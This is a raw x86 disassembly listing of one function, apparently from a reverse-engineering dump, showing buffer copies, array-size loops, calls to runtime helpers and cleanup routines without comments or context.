add esp, 0x34
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x41304d
push ebx
call fcn.00434a35
add esp, 4
mov dword [ebp - 0x30], esp
push 0x100
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x20]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x30], esp
je 0x4130e3
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x34]
push ebx
mov edi, dword [ebp - 0x38]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x413138
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x413136
imul eax, dword [edi]
jmp 0x41312b
mov ecx, eax
cmp ecx, 0x100
jle 0x413145
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x413183
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x413181
imul eax, dword [edi]
jmp 0x413176
mov ecx, eax
cmp ecx, 0x50
jle 0x41318d
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x413304
mov dword [ebp - 0x30], esp
push 0x111
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
push dword [ebp - 0x20]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x30], esp
je 0x413245
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x34]
push ebx
mov edi, dword [ebp - 0x38]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x41329a
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x413298
imul eax, dword [edi]
jmp 0x41328d
mov ecx, eax
cmp ecx, 0x100
jle 0x4132a7
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x4132e5
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x4132e3
imul eax, dword [edi]
jmp 0x4132d8
mov ecx, eax
cmp ecx, 0x50
jle 0x4132ef
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push dword [ebp - 4]
mov eax, 7
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x413331
push 6
call fcn.00434a53
add esp, 4
push 0x80000301
push 0
push eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486080
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x10]
call fcn.0040325a
xor ecx, ecx
push eax
lea eax, [ebp - 0x1c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4139fe
call fcn.0040bc84
mov ebx, dword [ebp - 0x10]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x4133b0
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x4133c3
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push 1
mov ebx, 6
call fcn.0040122a
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x413402
mov eax, 0x4b0200
push eax
push 0
push 0
push 0
push 0x20004
push 0x1601006d
push 0x52010001
push 7
mov eax, 1
mov ebx, 0x486160
call fcn.00434a5f
add esp, 0x58
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x41344f
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x413462
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push dword [ebp - 0x30]
call fcn.00414d87
test eax, eax
je 0x4134c2
push VariantClear
push 0
push 0x4d14b8
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x4134df
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x4134f2
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x41350f
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 2
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x413569
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x41357c
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x413599
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 4
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x4135f3
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x413606
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push VariantClear
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x413623
mov eax, 0x4b0200
push eax
push 0x80000301
push 0
push 5
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486060
call fcn.00434a5f
add esp, 0x34
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x41367d
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x413690
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
push 0x100
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
mov ebx, dword [ebp - 0x30]
push dword [ebx]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x413730
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x38]
push ebx
mov edi, dword [ebp - 0x3c]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x413785
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x413783
imul eax, dword [edi]
jmp 0x413778
mov ecx, eax
cmp ecx, 0x100
jle 0x413792
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x4137d0
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x4137ce
imul eax, dword [edi]
jmp 0x4137c3
mov ecx, eax
cmp ecx, 0x50
jle 0x4137da
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jne 0x41398b
mov ebx, dword [ebp - 0x2c]
call fcn.00401232
push ebx
push ecx
mov eax, dword [ebp - 0x1c]
dec eax
jns 0x413819
push 4
call fcn.00434a53
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x41382c
push 1
call fcn.00434a53
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
push 0x111
push 0x15c
mov eax, dword [ebp - 0x18]
push eax
push 0x15c
call fcn.00434a3b
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
push 0x80
mov ebx, dword [ebp - 0x30]
push dword [ebx]
mov eax, 6
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x4138cc
push 6
call fcn.00434a53
add esp, 4
push eax
mov ebx, dword [ebp - 0x38]
push ebx
mov edi, dword [ebp - 0x3c]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x413921
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x41391f
imul eax, dword [edi]
jmp 0x413914
mov ecx, eax
cmp ecx, 0x100
jle 0x41392e
mov ecx, 0x100
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x100
push ebx
push edi
push 1
mov eax, 2
call fcn.00434a2f
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x41396c
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x41396a
imul eax, dword [edi]
jmp 0x41395f
mov ecx, eax
cmp ecx, 0x50
jle 0x413976
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
call fcn.00434a35
add esp, 4
pop eax
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], esp
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push dword [ebp - 4]
mov eax, 7
call fcn.00434a59
cmp dword [ebp - 0x34], esp
je 0x4139b8
push 6
call fcn.00434a53
add esp, 4
push 0x80000301
push 0
push eax
push 0
push 0
push 0
push 0x80000301
push 0
push dword [ebp - 0x14]
push 0x20004
push 0x1601006d
push 0x52010001
push 4
mov eax, 1
mov ebx, 0x486080
call fcn.00434a5f
add esp, 0x34
pop eax
pop ebx
pop ecx
jmp 0x413380
add esp, 0xc
mov ebx, dword [ebp - 8]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x413a1f
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x413a1b
imul eax, dword [ebx]
jmp 0x413a10
mov ecx, eax
test ecx, ecx
je 0x413a3e
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x413a37
push ebx
push eax
call fcn.00434a35
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x413a25
call fcn.00434a35
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x413a64
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x413a60
imul eax, dword [ebx]
jmp 0x413a55
mov ecx, eax
test ecx, ecx
je 0x413a83
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x413a7c
push ebx
push eax
call fcn.00434a35
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x413a6a
call fcn.00434a35
add esp, 4
mov ebx, dword [ebp - 0x18]
push ebx
add ebx, 0xc
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.00434a35
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.00434a35
add esp, 4
pop ebx
call fcn.00434a35
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x413ac7
push ebx
call fcn.00434a35
add esp, 4
mov ebx, dword [ebp - 0x24]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x413ae5
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x413ae1
imul eax, dword [ebx]
jmp 0x413ad6
mov ecx, eax
test ecx, ecx
je 0x413b04
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x413afd
push ebx
push eax
call fcn.00434a35
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x413aeb
call fcn.00434a35
add esp, 4
mov ebx, dword [ebp - 0x2c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x413b2a
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x413b26
imul eax, dword [ebx]
jmp 0x413b1b
mov ecx, eax
test ecx, ecx
je 0x413b49
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x413b42
push ebx
push eax
call fcn.00434a35
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x413b30
call fcn.00434a35
add esp, 4
mov esp, ebp
pop ebp
ret